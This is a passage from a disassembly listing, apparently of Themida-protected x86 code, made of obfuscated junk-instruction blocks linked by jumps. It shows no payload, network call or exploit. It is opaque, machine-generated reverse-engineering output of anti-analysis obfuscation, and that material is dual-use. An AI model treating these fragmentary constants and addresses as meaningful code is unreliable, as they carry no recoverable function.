		mov	ecx, ebp
		jmp	loc_5692B3
; ---------------------------------------------------------------------------


loc_56524B:				; DATA XREF: Themida_:0055E008o
		mov	cx, word ptr [esp+3Ah+var_3A]
		push	66FEh
		mov	[esp+3Eh+var_3E], eax
		push	759Fh
		jmp	loc_571DC0
; ---------------------------------------------------------------------------


loc_565261:				; CODE XREF: sub_562ABA+EA82j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+42h+var_42]
		jmp	loc_56179B
; ---------------------------------------------------------------------------


loc_565275:				; CODE XREF: sub_562ABA+A9E6j
		add	ecx, eax
		mov	eax, [esp+42h+var_42]
		add	esp, 4
		push	4E05h
		mov	[esp+42h+var_42], eax
		push	4
		pop	eax
		add	ecx, eax
		jmp	loc_564F8A
; ---------------------------------------------------------------------------


loc_565295:				; CODE XREF: sub_562ABA+4FC7j
		add	eax, ecx
		jmp	loc_56B5F7
; ---------------------------------------------------------------------------


loc_56529C:				; CODE XREF: sub_562ABA+B0FFj
		pop	edx
		pop	[esp+3Eh+var_3E]
		jmp	loc_56AC44
; ---------------------------------------------------------------------------


loc_5652A5:				; CODE XREF: sub_562ABA+6782j
		pop	ecx
		jmp	loc_564B70
; ---------------------------------------------------------------------------


loc_5652AB:				; CODE XREF: sub_562ABA+7A88j
		mov	ebp, [esp+36h+var_36]
		jmp	loc_57168D
; ---------------------------------------------------------------------------


loc_5652B3:				; CODE XREF: sub_562ABA+A343j
		mov	ebp, 8235A2Dh
		add	esi, ebp
		pop	ebp
		add	esi, eax
		jmp	loc_5727E5
; ---------------------------------------------------------------------------


loc_5652C2:				; CODE XREF: sub_562ABA+F730j
		push	7F4Ch
		mov	[esp+36h+var_36], ecx
		jmp	loc_565893
; ---------------------------------------------------------------------------


loc_5652CF:				; CODE XREF: sub_562ABA+34B6j
		pop	edx
		xchg	ecx, [esp+32h+var_32]
		jmp	loc_56730D
; ---------------------------------------------------------------------------


loc_5652D8:				; CODE XREF: sub_562ABA+9095j
		and	esi, ebp
		pop	ebp
		shr	esi, 4
		add	esi, 4B730768h
		jmp	loc_56D293
; ---------------------------------------------------------------------------


loc_5652E9:				; CODE XREF: sub_562ABA+96E9j
		push	ebp
		mov	ebp, edx
		push	esi
		jmp	loc_5662A2
; ---------------------------------------------------------------------------


loc_5652F2:				; CODE XREF: sub_56099B+7j
		pop	ebp
		jmp	loc_5662B2
; ---------------------------------------------------------------------------


loc_5652F8:				; CODE XREF: sub_562ABA-31FDj
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		dec	eax
		add	eax, 11F30858h
		push	ecx
		mov	ecx, 31EF3831h
		or	eax, ecx
		jmp	loc_56C95A
; ---------------------------------------------------------------------------


loc_565311:				; CODE XREF: sub_562ABA+10102j
		mov	eax, 8617C4F4h
		mov	ebx, eax
		jmp	loc_56CAE3
; ---------------------------------------------------------------------------
		push	[esp+1Eh+var_1E]
		mov	eax, [esp+22h+var_22]
		push	ecx
		mov	ecx, esp
		jmp	loc_55E83D
; ---------------------------------------------------------------------------


loc_56532B:				; CODE XREF: sub_562ABA+71ACj
		pop	ebp
		add	edx, 8C096CEAh
		jmp	loc_56A058
; ---------------------------------------------------------------------------


loc_565337:				; CODE XREF: sub_562ABA+6A87j
		xchg	ecx, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], eax
		mov	al, 90h
		sub	bl, al
		pop	eax
		push	eax
		jmp	loc_56C203
; ---------------------------------------------------------------------------


loc_565349:				; CODE XREF: sub_562ABA+7F39j
		sub	ebp, 0D4C65F76h
		or	esi, ebp
		pop	ebp
		jmp	loc_572822
; ---------------------------------------------------------------------------


loc_565357:				; CODE XREF: sub_562ABA+3690j
		mov	edi, 2F5406E2h
		sub	ecx, edi
		pop	edi
		add	ecx, edx
		add	ecx, 2F5406E2h
		sub	ecx, 4D044A3Dh
		pop	edx
		xor	eax, ecx
		pop	ecx
		jmp	loc_5695A7
; ---------------------------------------------------------------------------


loc_565376:				; CODE XREF: sub_562ABA+1010j
		push	esp
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		push	eax
		mov	eax, 25072A36h
		or	eax, 25503216h
		jmp	loc_569588
; ---------------------------------------------------------------------------


loc_565390:				; CODE XREF: sub_562ABA-414Dj
		sub	ecx, edi
		pop	edi
		sub	ecx, 53BA236Eh
		sub	ecx, 776C56DDh
		add	ecx, edi
		add	ecx, 776C56DDh
		add	ecx, 53BA236Eh
		sub	esp, 4
		mov	[esp+22h+var_22], esi
		mov	esi, 428B4E32h
		add	ecx, esi
		pop	esi
		push	ebx
		jmp	loc_570281
; ---------------------------------------------------------------------------


loc_5653C1:				; CODE XREF: sub_562ABA+50B1j
		pop	esp
		add	esp, 4
		sub	eax, 4
		xor	eax, [esp+1Ah+var_1A]
		jmp	loc_56B08A
; ---------------------------------------------------------------------------


loc_5653D2:				; CODE XREF: sub_562ABA-48C2j
		push	edx
		mov	edx, 39D97956h
		jmp	loc_56BA00
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 613742E4h
		add	eax, 9990B59h
		jmp	loc_56B78A
; ---------------------------------------------------------------------------


loc_5653ED:				; CODE XREF: sub_562ABA+4FBAj
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_56769D
; ---------------------------------------------------------------------------


loc_565409:				; CODE XREF: sub_562ABA-1092j
		sub	[esp-6+arg_0+2], 1F673736h
		mov	ecx, [esp-6+arg_0+2]
		jmp	sub_55F3A9
; ---------------------------------------------------------------------------


loc_565418:				; CODE XREF: sub_562ABA+68BEj
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		not	ebx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		shr	eax, 6
		add	eax, 0FCCD1A00h
		add	ecx, eax
		push	[esp-6+arg_0+2]
		jmp	loc_56FF0B
; ---------------------------------------------------------------------------


loc_565438:				; CODE XREF: sub_562ABA+93CCj
		push	592Ch
		mov	[esp+2+var_4+2], ecx
		jmp	loc_56049F
; ---------------------------------------------------------------------------


loc_565445:				; CODE XREF: sub_562ABA+597Bj
		mov	[esp+2+var_4+2], ebp
		add	[esp+2+var_4+2], 3BDB1831h
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		push	ebp
		mov	ebp, 4C342ACh
		and	ebp, 64712AD0h
		add	ebp, 5B341F9Fh
		dec	ebp
		xor	ebp, 64AE3A2Fh
		sub	ecx, 43F93489h
		sub	ecx, ebp
		add	ecx, 43F93489h
		mov	ebp, [esp+2+var_4+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56F6E7
; ---------------------------------------------------------------------------


loc_565493:				; CODE XREF: sub_562ABA+726Bj
		mov	esi, 4
		jmp	loc_567BBF
; ---------------------------------------------------------------------------


loc_56549D:				; CODE XREF: sub_562ABA+5563j
		mov	edx, edi
		pop	edi
		shl	edx, 3
		jmp	loc_55EDAD
; ---------------------------------------------------------------------------


loc_5654A8:				; CODE XREF: sub_562ABA+7B28j
		push	ebx
		push	edx
		push	ebx
		push	ecx
		mov	cl, al
		mov	bl, cl
		pop	ecx
		mov	dl, bl
		pop	ebx
		push	7947h
		mov	[esp+0], eax
		mov	al, dl
		mov	bh, al
		mov	eax, [esp+0]
		jmp	loc_563B65
; ---------------------------------------------------------------------------


loc_5654C8:				; CODE XREF: sub_562ABA+304Fj
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_561FFA
; ---------------------------------------------------------------------------


loc_5654D6:				; CODE XREF: sub_562ABA+61DFj
		add	edi, 23141590h
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_570408
; ---------------------------------------------------------------------------


loc_5654E7:				; CODE XREF: sub_562ABA+8CE2j
		push	9990B59h
		pop	esi
		sub	eax, esi
		jmp	loc_564FC7
; ---------------------------------------------------------------------------


loc_5654F4:				; CODE XREF: sub_562ABA+C91j
		push	3C7Dh
		mov	[esp+52h+var_52], eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565501:				; CODE XREF: sub_562ABA+4689j
		push	0B19h
		mov	[esp+56h+var_56], ebp
		push	9722AAFh
		pop	ebp
		or	ebp, 340B393Ah
		jmp	loc_569EFF
; ---------------------------------------------------------------------------


loc_56551A:				; CODE XREF: sub_562ABA+15F7j
		push	dword ptr [esp+4]
		jmp	loc_565D0E
; ---------------------------------------------------------------------------


loc_565523:				; CODE XREF: sub_562ABA+1B00j
		sub	esp, 4
		mov	[esp+36h+var_36], esp
		jmp	loc_56DD9F
; ---------------------------------------------------------------------------


loc_56552E:				; CODE XREF: sub_562ABA+BF0Aj
		pop	esp
		or	ecx, ecx
		jz	loc_56E462
		sub	esp, 4
		mov	[esp+36h+var_36], edi
		sub	esp, 4
		push	esp
		pop	[esp+3Eh+var_3E]
		push	ebp
		mov	ebp, 4
		add	[esp+3Eh+var_3A], ebp
		pop	ebp
		push	[esp+3Ah+var_3A]
		jmp	loc_570304
; ---------------------------------------------------------------------------


loc_56555A:				; CODE XREF: sub_562ABA+BF4j
		pop	esp
		push	[esp+42h+var_42]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+42h+var_42], edi
		jmp	loc_55E345
; ---------------------------------------------------------------------------


loc_565573:				; CODE XREF: sub_562ABA+9F2Bj
		pop	esi
		shr	esi, 8
		or	esi, 5E3065B9h
		xor	esi, 58862287h
		not	esi
		xchg	ecx, esi
		jmp	loc_56CBCF
; ---------------------------------------------------------------------------


loc_56558C:				; CODE XREF: sub_562ABA+4A08j
		add	esp, 4
		push	edi
		jmp	loc_56CA87
; ---------------------------------------------------------------------------


loc_565595:				; CODE XREF: sub_562ABA+85A0j
		sub	esp, 4
		jmp	near ptr byte_55ECB7
; ---------------------------------------------------------------------------


loc_56559D:				; CODE XREF: sub_562ABA-1026j
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		push	eax
		jmp	loc_56300E
; ---------------------------------------------------------------------------


loc_5655AC:				; CODE XREF: sub_562ABA+87DEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		add	eax, 4
		push	ebp
		mov	ebp, 2
		add	eax, 31EE3177h
		push	ebp
		mov	ebp, 17890026h
		sub	eax, 12277E9Eh
		add	eax, ebp
		jmp	loc_564E4B
; ---------------------------------------------------------------------------


loc_5655DD:				; CODE XREF: sub_562ABA+4373j
		mov	edi, 73A81AF7h
		add	ebp, edi
		pop	edi
		jmp	loc_56756C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5727C0
; ---------------------------------------------------------------------------


loc_5655F5:				; CODE XREF: sub_562ABA+8760j
		shr	eax, 0Ch
		jmp	loc_56973F
; ---------------------------------------------------------------------------


loc_5655FD:				; CODE XREF: sub_571EF9+11j
		add	ecx, edi
		add	ecx, 536B0613h
		mov	edi, [esp+12h+var_12]
		add	esp, 4
		xchg	ecx, [esp+0]
		jmp	loc_56A9A1
; ---------------------------------------------------------------------------


loc_565616:				; CODE XREF: sub_562ABA+3D29j
		mov	[esp+0], esp
		push	esi
		push	ebx
		mov	ebx, 5DDB1CC3h
		push	5DDB1CC7h
		pop	esi
		xor	esi, ebx
		jmp	loc_570BFB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+16h+var_16]
		push	1E76h
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 16502946h
		push	edx
		jmp	loc_571682
; ---------------------------------------------------------------------------


loc_565647:				; CODE XREF: sub_562ABA+4CB6j
		xor	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 930CCCh
		inc	ebp
		jmp	loc_56E069
; ---------------------------------------------------------------------------


loc_565656:				; CODE XREF: sub_562ABA+9F73j
		not	eax
		add	eax, 0A2CB564Eh
		jmp	loc_570006
; ---------------------------------------------------------------------------


loc_565662:				; CODE XREF: sub_562ABA-1B9Fj
		mov	edi, 33506DA5h
		jmp	loc_56C64A
; ---------------------------------------------------------------------------


loc_56566C:				; CODE XREF: sub_562ABA+1313j
		mov	[esp+3Ah+var_3A], esp
		add	[esp+3Ah+var_3A], 4
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		push	ebp
		mov	ebp, 1F3F0A46h
		sub	ebp, 0C4137A3h
		add	ebp, 0ED022D61h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 0A17888h
		shl	edx, 8
		or	edx, 1C673D76h
		xor	edx, 0BD7FBD72h
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xor	ebx, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebx
		xor	ebx, [esp+36h+var_36]
		pop	esp
		mov	[esp+32h+var_32], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+32h+var_32]
		jmp	loc_56638C
; ---------------------------------------------------------------------------


loc_5656D6:				; CODE XREF: sub_562ABA-3C85j
		push	[esp+22h+var_22]
		jmp	loc_56F907
; ---------------------------------------------------------------------------


loc_5656DE:				; CODE XREF: sub_562ABA-B4Dj
		add	bh, 0E7h
		shr	bh, 6
		sub	bh, 2Bh
		add	bh, 0B0h
		sub	ch, bh
		mov	ebx, [esp+6+var_8+2]
		jmp	loc_55F5A8
; ---------------------------------------------------------------------------


loc_5656F4:				; CODE XREF: sub_562ABA+6AE8j
		xchg	esi, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], esi
		jmp	loc_570728
; ---------------------------------------------------------------------------


loc_565700:				; CODE XREF: sub_562ABA+A62Ej
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_568556
; ---------------------------------------------------------------------------


loc_565711:				; CODE XREF: sub_562ABA-156Fj
		mov	esp, [esp-0Eh+arg_8+2]
		test	cx, ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56571D:				; DATA XREF: Themida_:0055DDF4o
		mov	ax, word ptr [esp-0Ah+arg_4+2]
		sub	esp, 4
		mov	[esp-6+arg_0+2], eax
		mov	eax, esp
		push	edx
		mov	edx, 4E1F2E40h
		dec	edx
		jmp	loc_56C99C
; ---------------------------------------------------------------------------
		push	dword ptr [esp+0]
		push	[esp+2+var_4+2]
		jmp	loc_561C4B
; ---------------------------------------------------------------------------


loc_565743:				; CODE XREF: sub_562ABA+5A97j
		push	edx
		mov	edx, 1E880A60h
		or	edx, 5C692214h
		or	edx, 46B338C5h
		xor	edx, 0F4DF7C29h
		jmp	loc_55E10D
; ---------------------------------------------------------------------------


loc_565760:				; CODE XREF: sub_562ABA-318Aj
		push	edx
		pop	edi
		pop	edx
		xchg	edi, edx
		jmp	loc_561F88
; ---------------------------------------------------------------------------


loc_56576A:				; CODE XREF: sub_562ABA+57A2j
		add	ecx, 9D30AF5Fh
		add	edx, ecx
		pop	ecx
		add	ecx, edx
		pop	edx
		xor	ecx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ecx
		xor	ecx, [esp+6+var_8+2]
		pop	esp
		push	7798h
		jmp	loc_56DD76
; ---------------------------------------------------------------------------


loc_56578A:				; CODE XREF: sub_562ABA-49B2j
		xor	edi, ecx
		pop	ecx
		sub	edi, 9DB45216h
		jmp	loc_5697F9
; ---------------------------------------------------------------------------


loc_565798:				; CODE XREF: sub_562ABA+39j
		mov	dh, 1Ch
		xor	dh, 5
		inc	dh
		xor	dh, 1Ah
		sub	dh, 59h
		push	ecx
		mov	cl, 6Bh
		xor	dh, cl
		pop	ecx
		or	cl, dh
		pop	edx
		shl	cl, 1
		xor	cl, 52h
		mov	al, cl
		pop	ecx
		not	al
		sub	al, 9Bh
		jmp	loc_565A0A
; ---------------------------------------------------------------------------


loc_5657BF:				; CODE XREF: sub_562ABA+B90j
		not	ecx
		push	7F3Ch
		jmp	loc_568DF4
; ---------------------------------------------------------------------------


loc_5657CB:				; CODE XREF: sub_562ABA+18ECj
		mov	[esp+16h+var_16], ecx
		mov	ecx, 2
		add	edx, 12903EADh
		jmp	loc_566A35
; ---------------------------------------------------------------------------


loc_5657DE:				; CODE XREF: sub_562ABA+327Cj
		push	[esp+16h+var_16]
		jmp	loc_565B24
; ---------------------------------------------------------------------------


loc_5657E6:				; CODE XREF: sub_562ABA+B9E5j
		xor	[esp+1Ah+var_16], esi
		jmp	loc_56016D
; ---------------------------------------------------------------------------


loc_5657EF:				; CODE XREF: sub_562ABA+EA09j
		push	edi
		jmp	loc_56F48E
; ---------------------------------------------------------------------------


loc_5657F5:				; CODE XREF: sub_562ABA+76C5j
		push	ebx
		mov	ebx, edi
		jmp	loc_56C474
; ---------------------------------------------------------------------------


loc_5657FD:				; CODE XREF: sub_562ABA+7225j
		add	ebp, 4
		sub	esp, 4
		jmp	loc_567D88
; ---------------------------------------------------------------------------


loc_56580E:				; CODE XREF: sub_562ABA+6439j
		mov	[esp+26h+var_28+2], esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_571BDC
; ---------------------------------------------------------------------------


loc_56581D:				; CODE XREF: sub_562ABA+490Cj
		sub	ecx, esi
		mov	esi, [esp+26h+var_28+2]
		add	esp, 4
		xor	ecx, 70F009BDh
		push	edx
		mov	edx, 6B197DFDh
		neg	edx
		sub	edx, 5A070AA9h
		and	edx, 7AD24E81h
		xor	edx, 58F64932h
		xor	edx, 37E035A4h
		sub	ecx, edx
		pop	edx
		push	eax
		push	ebp
		mov	ebp, 681348CEh
		jmp	loc_562F2C
; ---------------------------------------------------------------------------


loc_56585A:				; CODE XREF: sub_562ABA-467Cj
		pop	edx
		xor	ecx, edx
		jmp	loc_562010
; ---------------------------------------------------------------------------


loc_565862:				; CODE XREF: sub_562ABA+D2C6j
		movzx	eax, al
		push	small 477h
		mov	word ptr [esp-6+arg_0+2], ax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565872:				; CODE XREF: sub_562ABA-16EFj
		dec	ebx
		push	eax
		mov	eax, 7FA7BFEAh
		xor	ebx, eax
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_56E510
; ---------------------------------------------------------------------------


loc_565883:				; CODE XREF: sub_562ABA+49F7j
		push	6Fh
		mov	[esp-8+arg_4], eax
		push	edx
		pop	eax
		pop	edx
		jmp	loc_56C7EA
; ---------------------------------------------------------------------------


loc_565893:				; CODE XREF: sub_562ABA+2810j
		mov	ecx, 1B8B1C53h
		push	edx
		mov	edx, 14714924h
		jmp	loc_5682F4
; ---------------------------------------------------------------------------


loc_5658A3:				; CODE XREF: sub_562ABA-1D07j
		sub	eax, 0BC3328C5h
		sub	ecx, 359F0A32h
		sub	esp, 4
		mov	[esp+36h+var_36], edx
		mov	edx, 58080ABFh
		jmp	loc_5667CD
; ---------------------------------------------------------------------------


loc_5658BE:				; CODE XREF: sub_562ABA-1460j
		shr	edx, 8
		jmp	loc_57195F
; ---------------------------------------------------------------------------


loc_5658C6:				; CODE XREF: sub_562ABA+8E1Aj
		or	edi, 729D7874h
		jmp	loc_56CD76
; ---------------------------------------------------------------------------


loc_5658D1:				; CODE XREF: sub_562ABA+D97Ej
		mov	ch, bl
		jmp	loc_56D8E6
; ---------------------------------------------------------------------------


loc_5658D8:				; CODE XREF: sub_562ABA+73D6j
		mov	[esp+32h+var_32], ebp
		push	esp
		pop	ebp
		push	3F65h
		mov	[esp+36h+var_36], ebx
		mov	ebx, 4
		push	esi
		mov	esi, 5F4D0A65h
		not	esi
		not	esi
		shl	esi, 7
		push	ecx
		jmp	loc_56E745
; ---------------------------------------------------------------------------


loc_5658FD:				; CODE XREF: sub_562ABA+300Aj
		push	ebx
		push	0EE348C5h
		jmp	loc_56EEE6
; ---------------------------------------------------------------------------


loc_565908:				; CODE XREF: sub_562ABA+CECFj
		dec	ah
		sub	ah, 0C4h
		add	ah, 0F9h
		xor	ah, 3
		mov	cl, ah
		pop	eax
		sub	al, 40h
		add	al, cl
		add	al, 40h
		mov	cx, word ptr [esp+42h+var_42]
		add	esp, 2
		add	al, ch
		sub	al, 79h
		mov	ecx, [esp+3Eh+var_3E]
		jmp	sub_560F80
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+3Eh+var_3E]
		sub	esp, 4
		mov	[esp+42h+var_42], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+46h+var_46], ebx
		push	ebp
		push	34847E9h
		pop	ebp
		mov	ebx, 0FCB7B81Bh
		sub	ebx, 7C582D61h
		push	eax
		mov	eax, 49922AE3h
		add	eax, 4A1809FCh
		xor	eax, 514619Ch
		or	eax, 20B1947h
		add	eax, 0CD19BB7Eh
		jmp	loc_56761F
; ---------------------------------------------------------------------------


loc_565972:				; CODE XREF: sub_562ABA+F5B9j
		add	eax, 4
		xchg	eax, [esp+4Eh+var_4E]
		mov	esp, [esp+4Eh+var_4E]
		add	ebp, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_55FD49
; ---------------------------------------------------------------------------


loc_56598C:				; CODE XREF: sub_562ABA+972Bj
		mov	ah, 0BBh
		neg	ah
		and	ah, 8Eh
		xor	ah, 72h
		sub	ah, 44h
		push	small 116Bh
		mov	word ptr [esp+54h+var_56+2], dx
		mov	dh, 0Eh
		xor	ah, dh
		pop	dx
		push	small 28CCh
		mov	word ptr [esp+54h+var_56+2], cx
		mov	ch, 57h
		add	ch, 0B1h
		neg	ch
		jmp	loc_560E24
; ---------------------------------------------------------------------------


loc_5659BB:				; CODE XREF: sub_562ABA+9548j
		sub	ebp, edx
		pop	edx
		jmp	loc_5668BF
; ---------------------------------------------------------------------------


loc_5659C3:				; CODE XREF: sub_562ABA+A822j
		pop	ax
		sub	bl, 92h
		neg	bl
		jmp	loc_569BE4
; ---------------------------------------------------------------------------


loc_5659CF:				; CODE XREF: sub_562ABA+C9FFj
		mov	edx, 244E4C8Eh
		push	ebp
		mov	ebp, 60352D93h
		push	edx
		mov	edx, 3B9A05FCh
		jmp	loc_5711F2
; ---------------------------------------------------------------------------


loc_5659E5:				; CODE XREF: sub_562ABA+8354j
		add	edi, 7BC30E46h
		jmp	loc_5638F2
; ---------------------------------------------------------------------------


loc_5659F0:				; CODE XREF: sub_562ABA+4BA7j
		mov	edx, 19DA1588h
		not	edx
		sub	edx, 4BF6A5D7h
		sub	ecx, 247E2F23h
		add	ecx, edx
		jmp	loc_565152
; ---------------------------------------------------------------------------


loc_565A0A:				; CODE XREF: sub_562ABA+2D00j
		add	al, 0DDh
		mov	bh, al
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		xor	bh, 0D6h
		push	ecx
		jmp	loc_566FCD
; ---------------------------------------------------------------------------


loc_565A1D:				; CODE XREF: sub_562ABA+83F1j
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 3250683Ch
		jmp	loc_561D9C
; ---------------------------------------------------------------------------


loc_565A2A:				; CODE XREF: sub_562ABA-50Dj
		push	small 2645h
		mov	word ptr [esp+2Ch+var_2C], dx
		push	3E50h
		mov	[esp+30h+var_32+2], ecx
		jmp	loc_55FE55
; ---------------------------------------------------------------------------


loc_565A3F:				; CODE XREF: sub_562ABA-3D9Dj
		mov	esp, [esp+1Eh+var_1E]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebx
		xor	ebx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		mov	[esp+22h+var_22], ebx
		push	5CA2h
		mov	[esp+26h+var_28+2], ecx
		push	esi
		jmp	loc_563488
; ---------------------------------------------------------------------------


loc_565A6E:				; CODE XREF: sub_562ABA+43FBj
		pop	eax
		inc	eax
		xor	eax, 2CA8564Dh
		mov	ebp, eax
		mov	eax, [esp+26h+var_28+2]
		jmp	loc_560ADA
; ---------------------------------------------------------------------------


loc_565A7F:				; CODE XREF: sub_562ABA+272Cj
		xor	edx, 4887471h
		shl	edx, 3
		sub	edx, 59823F50h
		jmp	loc_568401
; ---------------------------------------------------------------------------


loc_565A93:				; CODE XREF: sub_562ABA+7B47j
		sub	al, ch
		pop	ecx
		jmp	loc_56F34A
; ---------------------------------------------------------------------------


loc_565A9B:				; CODE XREF: sub_562ABA+F39Fj
		sub	ecx, 6848070Fh
		sub	edx, ecx
		mov	ecx, [esp-0Ah+arg_4+2]
		add	esp, 4
		mov	eax, edx
		mov	edx, [esp-0Eh+arg_8+2]
		add	esp, 4
		add	edx, eax
		pop	eax
		sub	ebp, 345844E9h
		add	ebp, edx
		add	ebp, 345844E9h
		pop	edx
		push	edx
		jmp	loc_5658FD
; ---------------------------------------------------------------------------


loc_565AC9:				; CODE XREF: sub_562ABA-70Dj
		mov	edi, 498166EFh
		dec	edi
		jmp	loc_5601DA
; ---------------------------------------------------------------------------


loc_565AD4:				; CODE XREF: sub_562ABA+8B38j
		mov	[esp+42h+var_42], eax
		push	ecx
		push	edx
		push	ecx
		jmp	loc_56DA96
; ---------------------------------------------------------------------------


loc_565ADF:				; CODE XREF: sub_562ABA+FCD8j
		push	bx
		push	eax
		jmp	loc_56EE5B
; ---------------------------------------------------------------------------


loc_565AE7:				; CODE XREF: sub_562ABA-1174j
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		sub	edx, 0FFFFFFFFh
		dec	edx
		push	ecx
		mov	ecx, 691C820Dh
		xor	edx, ecx
		pop	ecx
		sub	eax, 4DCA1611h
		add	eax, edx
		add	eax, 4DCA1611h
		jmp	loc_5654C8
; ---------------------------------------------------------------------------


loc_565B0E:				; CODE XREF: sub_562ABA+6AC9j
		pop	esi
		jmp	loc_55F4BF
; ---------------------------------------------------------------------------


loc_565B14:				; CODE XREF: sub_562ABA-2EF2j
		push	[esp+0Ah+var_C+2]
		pop	edi
		add	esp, 4
		push	esi
		jmp	loc_560F11
; ---------------------------------------------------------------------------


loc_565B24:				; CODE XREF: sub_562ABA+2D27j
		pop	esi
		add	esp, 4
		add	ebx, esi
		push	[esp+12h+var_12]
		pop	esi
		add	esp, 4
		jmp	loc_567C59
; ---------------------------------------------------------------------------


loc_565B36:				; CODE XREF: sub_562ABA+1F5j
		add	ebp, edx
		sub	ebp, 7B9B5CC1h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebp, edi
		sub	ebp, 45B809FFh
		jmp	loc_561DD0
; ---------------------------------------------------------------------------


loc_565B51:				; CODE XREF: sub_562ABA+CDB1j
		push	esp
		jmp	loc_57214A
; ---------------------------------------------------------------------------


loc_565B57:				; CODE XREF: sub_562ABA+EE8Dj
		movzx	eax, al
		mov	dx, word ptr [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_12+2], eax
		push	2AB6h
		mov	[esp+14h+var_16+2], esp
		add	[esp+14h+var_16+2], 4
		push	[esp+14h+var_16+2]
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, 4F884666h
		add	esi, 1
		push	6691h
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 4C7949AFh
		xor	esi, edi
		pop	edi
		not	esi
		dec	esi
		jmp	loc_5705FC
; ---------------------------------------------------------------------------


loc_565BA9:				; CODE XREF: sub_562ABA+E298j
		cmp	cx, ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565BB2:				; CODE XREF: sub_562ABA+E05Cj
		push	edi
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
		pop	edi
		shr	edx, 7
		inc	edx
		jmp	loc_5683E7
; ---------------------------------------------------------------------------


loc_565BC6:				; CODE XREF: sub_562ABA-476Fj
		mov	edi, 0D159CC05h
		jmp	loc_55E7CF
; ---------------------------------------------------------------------------


loc_565BD0:				; CODE XREF: sub_562ABA+1B7Dj
		pop	ebp
		mov	eax, ebp
		pop	ebp
		sub	ebx, 34D54562h
		add	ebx, eax
		add	ebx, 34D54562h
		pop	eax
		push	esi
		mov	esi, 4
		jmp	loc_56F9AA
; ---------------------------------------------------------------------------


loc_565BEE:				; CODE XREF: sub_562ABA+E12Fj
		pop	ecx
		sub	bl, dh
		add	bl, 1Fh
		jmp	loc_560E0E
; ---------------------------------------------------------------------------


loc_565BF9:				; CODE XREF: sub_562ABA+3F51j
		mov	dl, 8Ch
		push	edx
		mov	dh, 0A4h
		dec	dh
		push	small 2A05h
		mov	word ptr [esp+28h+var_28], cx
		mov	cl, 0BAh
		and	dh, cl
		pop	cx
		jmp	loc_56AF9B
; ---------------------------------------------------------------------------
		push	[esp+26h+var_28+2]
		pop	ecx
		jmp	loc_569326
; ---------------------------------------------------------------------------


loc_565C1C:				; CODE XREF: sub_562ABA+BB72j
		push	ecx
		push	edx
		jmp	loc_56D12E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0]
		sub	esp, 4
		mov	[esp+32h+var_32], ebp
		mov	ebp, esp
		jmp	loc_55F3ED
; ---------------------------------------------------------------------------


loc_565C36:				; CODE XREF: sub_562ABA+A571j
		mov	edx, ecx
		pop	ecx
		sub	edi, edx
		jmp	loc_571A2A
; ---------------------------------------------------------------------------


loc_565C40:				; CODE XREF: sub_562ABA+3E9Fj
		shl	esi, 8
		shl	esi, 7
		push	edx
		mov	edx, 3AE85E0Dh
		xor	edx, 7E6E76FBh
		dec	edx
		shl	edx, 6
		not	edx
		xor	edx, 6ED67F8Ah
		jmp	loc_56E953
; ---------------------------------------------------------------------------


loc_565C63:				; CODE XREF: sub_562ABA+26AFj
		pop	ecx
		jmp	loc_565E81
; ---------------------------------------------------------------------------


loc_565C69:				; CODE XREF: sub_562ABA+975Ej
		mov	ebx, 4BCC4DFAh
		jmp	loc_56E71F
; ---------------------------------------------------------------------------


